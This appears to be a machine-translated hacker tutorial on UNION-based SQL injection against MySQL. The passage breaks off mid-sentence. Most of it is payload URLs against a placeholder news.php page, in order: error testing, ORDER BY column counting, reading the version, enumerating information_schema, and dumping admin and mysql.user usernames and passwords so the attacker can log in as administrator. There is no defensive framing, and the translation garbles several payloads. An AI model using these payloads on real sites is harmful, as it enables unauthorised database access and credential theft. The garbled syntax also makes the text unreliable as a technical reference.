Foreign detailed explanation of SQL Injection (feel the charm of Injection)

Have FUN! (: Pay more attention to your creativity in the basic skills process. Feel the charm of injection together)

Its one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
To some confidential information etc... (in shortly ).

1. SQL Injection (classic or error based or whatever you call it)

2. Blind SQL Injection (the harder part)

So lets start with some action

1). Check for vulnerability

Lets say that we have some site like this

Code:
Http://www.site.com/news.php? Id = 5

Now to test if is vulrnable we add to the end of url (quote ),

And that wocould be
Code:
Http://www.site.com/news.php? Id = 5

So if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc ..."
Or something similar

That means is vulrnable to SQL injection

2). Find the number of columns

To find number of columns we use statement order by (tells database how to order the result)

So how to use it? Well just incrementing the number until we get an error.

Http://www.site.com/news.php? Id = 5 order by 1/* <-- no error

Http://www.site.com/news.php? Id = 5 order by 2/* <-- no error

Http://www.site.com/news.php? Id = 5 order by 3/* <-- no error

Http://www.site.com/news.php? Id = 5 order by 4/* <-- error (we get message like this Unknown column 4 in order clause or something like that)

That means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one SQL statement.

So we have

Http://www.site.com/news.php? Id = 5 union all select 1, 2, 3/* (we already found that number of columns are 3 in section 2 ).)

If we see some numbers on screen, I. e 1 or 2 or 3 then the UNION works

4). Check for MySQL version

Http://www.site.com/news.php? Id = 5 union all select 1, 2, 3/* NOTE: if/* not working or you get some error, then try --
Its a comment and its important for our query to work properly.

Let say that we have number 2 on the screen, now to check for version
We replace the number 2 with @ version or version () and get someting like 4.1.33-log or 5.0.45 or similar.

It shoshould look like this http://www.site.com/news.php? Id = 5 union all select 1, @ version, 3 /*

If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE )..."

I didnt see any paper covering this problem, so I must write it

What we need is convert () function

I. e.

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, convert (@ version using latin1), 3 /*

Or with hex () and unhex ()

I. e.

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, unhex (hex (@ version), 3 /*

And you will get MySQL version

5). Getting table and column name

Well if the MySQL version is <5 (I. e 4.1.33, 4.1.12...) <--- later I will describe for MySQL> 5 version.
We must guess table and column name in most cases.

Common table names are: user/s, admin/s, member/s...

Common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

I. e wocould be

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, 2, 3 from admin /*
(We see number 2 on the screen like before, and thats good)

We know that table admin exists...

Now to check column names.

 

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, username, 3 from admin /*
(If you get an error, then try the other column name)

We get username displayed on screen, example wocould be admin, or superadmin etc...

Now to check if column password exists

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, password, 3 from admin /*
(If you get an error, then try the other column name)

We seen password on the screen in hash or plain-text, it depends of how the database is set up

I. e md5 hash, mysql hash, sha1...

Now we must complete query to look nice

For that we can use concat () function (it joins strings)

I. e

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, concat (username, 0x3a, password), 3 from admin /*

Note that I put 0x3a, its hex value for: (so 0x3a is hex value for colon)

(There is another way for that, char (58), ascii value :)

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, concat (username, char (58), password), 3 from admin /*

Now we get dislayed username: password on screen, I. e admin: admin or admin: somehash

When you have this, you can login like admin or some superuser

If cant guess the right table name, you can always try mysql. user (default)

It has user I password columns, so example wocould be

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, concat (user, 0x3a, password), 3 from mysql. user /*

6). MySQL 5

Like I said before im gonna explain how to get table and column names
In MySQL> 5.

For this we need information_schema. It holds all tables and columns in database.

To get tables we use table_name and information_schema.tables.

I. e

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, table_name, 3 from information_schema.tables /*

Here we replace the our number 2 with table_name to get the first table from information_schema.tables

Displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

I. e

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, table_name, 3 from information_schema.tables limit 0, 1 /*

Note that I put 0, 1 (get 1 result starting from the 0th)

Now to view the second table, we change limit 0, 1 to limit 1, 1

I. e

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, table_name, 3 from information_schema.tables limit 1, 1 /*

The second table is displayed.

For third table we put limit 2, 1

I. e

Code:
Http://www.site.com/news.php? Id = 5 union all select 1, table_name, 3 from information_schema.tables limit 2, 1 /*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc...

To get the column names the method is the same.

Here we use column_name and information_schema.columns

The method is same as abve so example wocould be

Code:

Http://www.site.com/news.php? Id = 5 union all select 1, column_name, 3 from information_schema.columns limit 0, 1 /*

The first